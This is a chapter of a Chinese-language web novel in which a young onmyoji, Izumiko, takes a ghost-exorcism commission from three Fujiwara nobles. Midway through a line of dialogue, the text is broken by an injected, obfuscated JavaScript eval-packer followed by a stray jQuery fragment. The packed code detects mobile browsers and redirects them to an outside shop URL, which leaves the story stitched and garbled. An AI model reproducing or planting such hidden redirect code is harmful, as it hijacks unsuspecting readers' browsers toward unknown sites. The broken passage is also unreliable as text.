藤原道长的委托来信写得拢统,泉子便在第二天的中午让仆从去请他过府细谈。
仆从面有难色,「小姐,按规矩,该是我们这边去拜访上位的藤原家的。」
「没关系的,你照我说的去做就可以。他们爱来不来。」泉子说罢,便又低头继续读书,笔杆子敲敲砚台,墨碇和水瓶便应声浮起,自动为她磨墨。
仆从不敢细看这异常的一幕,低头领命,匆匆离去。
答!门板落锁,所有的仆从退至外围。
藤原家的牛车是在傍晚时分到来的。
在外门等着仆从通报,公任收起折扇,看那一道道深锁的院门,啧啧称奇。道长以手臂推他,示意收敛。
「我知道!」公任压了压眉眼,「待会儿见到大中臣家的长孙女,绝不可当面质疑其怪异——你已经说了七次了,烦不烦!」
「我是为了你好!」道长低声说,「你先听我的。况且,毫无缘由地羞辱一位小姐也是有够失礼的。」
「你是趁机想说我为人失礼吧!?我是这种人吗!」
「我可没这么说哦。」
齐信摸摸下巴,「但是,话说回来,这个时辰正好是阴阳寮要上值吧?其他的贵族却刚好都下值呢。长辈不在,留二十岁的未婚女儿在家,慎重点也是应该的嘛。」
公任反手打向齐信,「你只不过是记挂着道长说,此女的容貌比精怪还要夺目吧!?」
「你打我干嘛啦!」齐信一把打回去。
看着他们打来打去的道长:「……」
待仆从回来引路,三位公子穿过成荫的竹林,在残阳的橘红中走上廊道,终于见到了跪坐在堂前缘廊上的大中臣泉子。
逢魔时刻,檐边为童女打出阴影,轮廓胜似起伏的竹节和嶙峋的奇石。目光投来,她浅灰色的双眸几近半透,转瞬便让人忘却其眉目真容,记忆中只余那双凡世难见的灰眸。
直至童音响起,公子们才回过神来。
「你先下去吧。」泉子的第一句话,是向仆从说的。
公任眉头大皱。
她该先向上位者行礼的。
齐信立马伸手偷偷拽着公任,道长亦上前一步,率先为双方介绍。
「再次见面了,泉子小姐,」道长学着泉子的样子先坐下来,故作熟稔轻松,「这两位是我的友人。」他示意向黑了脸的公任,「关白.藤氏长者的嫡长子,从四位上.左近卫权中将,藤原公任;」道长飞快地转向已经摆好笑脸的齐信,「而这一位,是大纳言的嫡次子,从五位下.东宫侍从,藤原齐信。」
「我是正五位下.神祇大副.伊势祭主的长孙女,阴阳寮安倍晴明大人的学生,大中臣泉子。」泉子低头回礼。
虽然她的动作不甚标准,但公任的脸色总算稍霁,却又见她捧过茶具磕磕绊绊地沏茶,公任最终还是忍不住拍开友人拉扯的手,出了声。
「不若交予侍女或是仆从来做吧?」他说。
「嗯?」泉子一愣,稚嫩脸容上的惊讶不似作伪。
道长望着她,忽然发现问题所在。他直接伸手拿走泉子的茶具,放到一旁,说:「在拥有仆从的宅邸里,大家都会期待您将合适的工作交给下面的人帮忙呢,泉子小姐。」
公任瞥了道长一眼,然后转开脸,没再给泉子难堪。
齐信适时地笑出了声,「倒不是我自夸,我的女侍颇通宋茶这种新鲜玩意,不如我让人去叫她吧?正好我们也先谈谈正事。泉子小姐有女侍陪伴在侧的话,想来也会比较自在的,哈哈哈!」
泉子的目光掠过三个藤原间的小动作。她笑了笑,说:「阴阳寮安倍家或是贺茂家的主宅,都是很少用仆从的,因为普通人会被术法吓到,而长期惊惧对身体不好。」
「哦?」齐信来了兴致,「泉子小姐也会用术法吗?」
道长看了看他,「泉子小姐是阴阳师,可不是给你表演的艺人。」
泉子笑笑,「我的确沏不好茶。如果你们不害怕的话,我倒是可以像平日那样让式神帮忙。」
她唤了声,一个比半日要更透明、几乎看不见外貌的式神现身,依着泉子的吩咐沏好茶,便又消失不见。
道长和齐信一起很给面子地「哦~」,惟有公任半避在了友人们的身后。泉子给客人们奉茶,她的手指微不可察地轻点碗身,在属于公任的那一碗打上安神咒。果然,一碗茶下去,公任发青的脸色要舒缓不少。
「那么,」寒暄得差不多了,泉子放下尚满七分的茶碗,进入正题,「各位,请说一下委托的具体内容吧。」
三个藤原交换眼神,同时点头。
——然后半刻钟后。
泉子失去了客套:「所以你们其实只是去瞧热闹吧。」
道长:「……」他强行解释,「尽管如此,我们也是因为打从心底里相信您能够为这位兄长解厄,这才厚着脸皮前来的。泉子小姐,请您答应委托吧!」
「对,」齐信随即跟上,乖觉地低头,「事成后,我们必定会奉上合适的谢仪的!」
公任不情不愿,但还是随着友人们向泉子稍稍低头,拜托。
泉子揉揉眉心,「这样吧,我大概可以理解你们不直接去阴阳寮的原因,由我来出面请安倍家的两位兄长,这总该可以了吧?」
「泉子小姐不愿意自己接下委托,是有甚么困难吗?」道长追问。
「因为你们只是看热闹,连男主角是圆是扁都说不清啊。」
「哈?」
「阴阳师可以从万物的相生相克中取得施法的力量,」泉子的手下拂过地席上天然与人工交织的纹路,「只要不怕报应便尽可施法,这是『主动』利用规则。」
道长的双眉微紧,「泉子小姐的意思是?」
「但我的力量不完全是阴阳道。」泉子低头看向自己的一双小手,「我是顺应规则以沟通天地威能的『被动』。简单来说,就是我是不可以直接抹杀无辜的鬼怪,也不能斩断作孽之人的因果,我只是可以直达天听。」
道长随即回想起他与泉子的初见,「那天,您也是因为这个缘故而放过那只伤人的赤中殿吗?」
「算是,也不算是。后来它们依约回来找我,我罚了他们,这算是『主动』,但是我施戒的轻重仍然在天道认可的范围内,所以也算是『被动』。」泉子逐一对上三个藤原的眼睛,问:「你们委托我除去亲友家的女鬼,但是你们能确定是谁先作的孽吗?」
女鬼与情郎,这种时代的这种角色配置,以她的经验,多半是男方先犯错的故事。要真委托了她,那到时候受天罚的是谁,可就难说了。而藤氏贵子们,显然不是来大义灭亲的。
藤原们面面相觑。
泉子按着地站起,想要让出予他们商议的空间,却被道长先一步叫住。
「泉子小姐,」他蓦地提高声量,向泉子低头,「就拜托您了!」
「啊?」齐信瞪眼。
「喂!」公任直接上手一折扇打在友人的背上,「我可还甚么都没说!」
道长没抬头地向友人们说:「连面都没见过的远亲罢了,如果真是他自己先作的孽,那泉子小姐替天行道也没甚么不可以的吧。」他笑了一声,「还不如说是比官府还要好用,毕竟下达判决的是不能以人欲来转移的天意呢。」
「道长!」公任叫道。
「不敢拜托泉子小姐的人,只能是因为心虚。」道长坚持,「我无意让我们三人在泉子小姐面前留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809280|210775||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下包庇罪人的印象——至少不能是为了这种程度的人。」
公任和齐信对视,默认下来,一起再次拜托泉子。
「……」站着的泉子,看着三个年轻人的头顶,「先说好,我并非下达甚么判决,我仅仅是将发生的一切如实呈现,回归本位。」
藤原们抬头望向她。
泉子续道:「我打个比方,要真是男主角先作孽,也不会是由我来夺他的命,而是通过我将他的罪行上达天听。是要当场被雷劈掉、将来在平地摔死、抑或投胎当猪,那是他自己的事,与我无关。」
「那女鬼呢?」道长问。
「看它作孽的程度。我会将它从俗世送走,但门那边要怎么判,是门那边的事,我顶多算个证人和逮到逃犯的良好市民。若非太放肆,我不会直接斩杀。」
道长沉默下来,却是齐信出声。
「……这不就跟阴阳师的驱邪一样嘛!」齐信摊手,「反正就是将恶鬼送走而已啊!」
道长默默地点头应和,公任的表情也是一言难尽。
「那怎么会是一样?风能和太阳能能是一回事吗!」泉子的额角一跳,提高了声线,「阴阳师是凭自己的力量调动五行,而非天道使劲,跟我是完全不一样的!而且以阴阳道降灭鬼怪,当场便可以了结因果,若非有违天理,是很少会牵涉报应的。你们既是想要委托我,我当然是要先将其中的分别向你们交代清楚!」
「可泉子小姐和其他阴阳师都一样会受到天理的限制,」道长一边思考着,一边说,「不就同样是既算『主动』、亦算『被动』吗?」
泉子一把坐了回来,「先做了再有报应和根本不能做是完全不一样的事!」
公任摸着扇柄子,加入:「问题是在于这个『根本』不能做的『根本』,它的释义能有多广吧?你对精怪小惩大戒,算是『可以做到』;那诅咒无辜者,你是『做不到』吗?」
「不,」泉子否定,「我可以做到,只是多半会有报应而已。」
齐信双手拍地,「所以不就跟阴阳师完全一样嘛!」
「我都说了是不一样!是你们用来作比较的个体质量不够大,未碰到『做不到』!」泉子再亦忍不住,拍着席子大骂,「你们这些麻瓜!!到底是来求我带你们去瞧热闹的,还是来跟我吵架的啦!!!」
「本公子都说了不是去瞧热闹,是去乐于助人!」这回轮到公任站了起来,企图凭借身高的绝对优势辗压女童。
「啊不不不,」齐信扯了扯公任的衣摆,「这句是你对道长耍赖时说的,没对泉子小姐说过啦。」
「……是这样啊。」公任平复呼吸,坐了回来,「对,是。」
泉子:「……」她转向假装不认识在座各位的道长,「先带跑话题的人明明就是你,你凭甚么用表情鄙视所有人?」
一顿,道长表情认真地说:「所以,我们甚么时候出发去那闹鬼的人家?」
泉子和公任和齐信同时道:「你这是在转移话题吧!!!」
总而言之,藤原家少爷们的委托便就此定下,泉子与他们约好在后天的黄昏再会。问及选定这个日子的理由,泉子说只是刚好有空,没有特别的缘故,想改也是可以的。
「不都需要用占卜来推定施法时日的吗?」齐信眨巴着眼睛,问。
「时日的确会影响五行的力量,」泉子说,「不过,我只是不喜欢占卜而已。」
公任挑眉,「你修习阴阳道,却不喜欢占卜?」
泉子反问:「你难道喜欢自己有既定的命运?」
「占卜不就是用来趋吉避凶、改变命运的?」公任问。
「能够改变命运的人,」泉子笑笑,说,「千万中,不存一。」